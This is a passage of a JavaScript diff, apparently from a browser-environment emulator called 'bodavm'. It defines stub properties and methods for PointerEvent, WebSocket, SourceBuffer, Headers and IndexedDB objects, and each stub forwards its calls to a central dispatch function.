'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tiltX", { + configurable: true, + enumerable: true, + get: function tiltX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tiltY", { + configurable: true, + enumerable: true, + get: function tiltY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "azimuthAngle", { + configurable: true, + enumerable: true, + get: function azimuthAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "azimuthAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "altitudeAngle", { + configurable: true, + enumerable: true, + get: function altitudeAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "altitudeAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tangentialPressure", { + configurable: true, + enumerable: true, + get: function tangentialPressure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tangentialPressure_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "twist", { + configurable: true, + enumerable: true, + get: function twist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "twist_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "pointerType", { + configurable: true, + enumerable: true, + get: function pointerType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "isPrimary", { + configurable: true, + enumerable: true, + get: function isPrimary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "isPrimary_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "getCoalescedEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function getCoalescedEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getCoalescedEvents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "getPredictedEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function getPredictedEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getPredictedEvents", arguments); + } +}, 'prototype'); +// WebSocket对象 + +bodavm.memory.globalobj['WebSocket'] = function WebSocket() { + console.log_copy('WebSocket 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebSocket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebSocket'], "WebSocket"); +bodavm.memory.globalobj['WebSocket'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WebSocket'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('WebSocket', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "bufferedAmount", { + configurable: true, + enumerable: true, + get: function bufferedAmount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "bufferedAmount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onopen", { + configurable: true, + enumerable: true, + get: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_get", arguments); + }, + set: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "extensions", { + configurable: true, + enumerable: true, + get: function extensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "extensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "binaryType", { + configurable: true, + enumerable: true, + get: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_get", arguments); + }, + set: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "send", arguments); + } +}, 'prototype'); +// SourceBuffer对象 + +bodavm.memory.globalobj['SourceBuffer'] = function SourceBuffer() { + console.log_copy('SourceBuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SourceBuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SourceBuffer'], "SourceBuffer"); +bodavm.memory.globalobj['SourceBuffer'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['SourceBuffer'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('SourceBuffer', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_get", arguments); + }, + set: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "mode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "updating", { + configurable: true, + enumerable: true, + get: function updating() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "updating_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "buffered", { + configurable: true, + enumerable: true, + get: function buffered() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "buffered_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "timestampOffset", { + configurable: true, + enumerable: true, + get: function timestampOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_get", arguments); + }, + set: function timestampOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "timestampOffset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowStart", { + configurable: true, + enumerable: true, + get: function appendWindowStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_get", arguments); + }, + set: function appendWindowStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendWindowEnd", { + configurable: true, + enumerable: true, + get: function appendWindowEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_get", arguments); + }, + set: function appendWindowEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendWindowEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdatestart", { + configurable: true, + enumerable: true, + get: function onupdatestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_get", arguments); + }, + set: function onupdatestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdatestart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdate", { + configurable: true, + enumerable: true, + get: function onupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_get", arguments); + }, + set: function onupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onupdateend", { + configurable: true, + enumerable: true, + get: function onupdateend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_get", arguments); + }, + set: function onupdateend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onupdateend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "appendBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function appendBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "appendBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "changeType", { + configurable: true, + enumerable: true, + writable: true, + value: function changeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "changeType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SourceBuffer', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SourceBuffer'].prototype, "SourceBuffer", "remove", arguments); + } +}, 'prototype'); +// DOMStringList对象 + +bodavm.memory.globalobj['DOMStringList'] = function DOMStringList() { + console.log_copy('DOMStringList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMStringList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringList'], "DOMStringList"); +bodavm.toolsFunc.defineProperty('DOMStringList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMStringList', "contains", { + configurable: true, + enumerable: true, + writable: true, + value: function contains() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "contains", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMStringList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "item", arguments); + } +}, 'prototype'); +// Headers对象 + +bodavm.memory.globalobj['Headers'] = function Headers() { + console.log_copy('Headers 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Headers(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Headers'], "Headers"); +bodavm.toolsFunc.defineProperty('Headers', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "values", arguments); + } +}, 'prototype'); +// IDBObjectStore对象 + +bodavm.memory.globalobj['IDBObjectStore'] = function IDBObjectStore() { + console.log_copy('IDBObjectStore 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBObjectStore)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBObjectStore'], "IDBObjectStore"); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "keyPath", { + configurable: true, + enumerable: true, + get: function keyPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "keyPath_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "indexNames", { + configurable: true, + enumerable: true, + get: function indexNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "indexNames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "transaction", { + configurable: true, + enumerable: true, + get: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "transaction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "autoIncrement", { + configurable: true, + enumerable: true, + get: function autoIncrement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "autoIncrement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "count", { + configurable: true, + enumerable: true, + writable: true, + value: function count() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "count", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "createIndex", { + configurable: true, + enumerable: true, + writable: true, + value: function createIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "createIndex", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "deleteIndex", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "deleteIndex", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAllKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAllKeys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "index", { + configurable: true, + enumerable: true, + writable: true, + value: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "index", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "openCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openCursor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "openKeyCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openKeyCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openKeyCursor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "put", { + configurable: true, + enumerable: true, + writable: true, + value: function put() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "put", arguments); + } +}, 'prototype'); +// IDBTransaction对象 + +bodavm.memory.globalobj['IDBTransaction'] = function IDBTransaction() { + console.log_copy('IDBTransaction 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBTransaction)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBTransaction'], "IDBTransaction"); +bodavm.memory.globalobj['IDBTransaction'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBTransaction'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStoreNames", { + configurable: true, + enumerable: true, + get: function objectStoreNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStoreNames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "durability", { + configurable: true, + enumerable: true, + get: function durability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "durability_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "db", { + configurable: true, + enumerable: true, + get: function db() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "db_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "oncomplete", { + configurable: true, + enumerable: true, + get: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_get", arguments); + }, + set: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "commit", { + configurable: true, + enumerable: true, + writable: true, + value: function commit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "commit", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStore", { + configurable: true, + enumerable: true, + writable: true, + value: function objectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStore", arguments); + } +}, 'prototype'); +// IDBVersionChangeEvent对象 + +bodavm.memory.globalobj['IDBVersionChangeEvent'] = function IDBVersionChangeEvent() { + console.log_copy('IDBVersionChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBVersionChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IDBVersionChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = 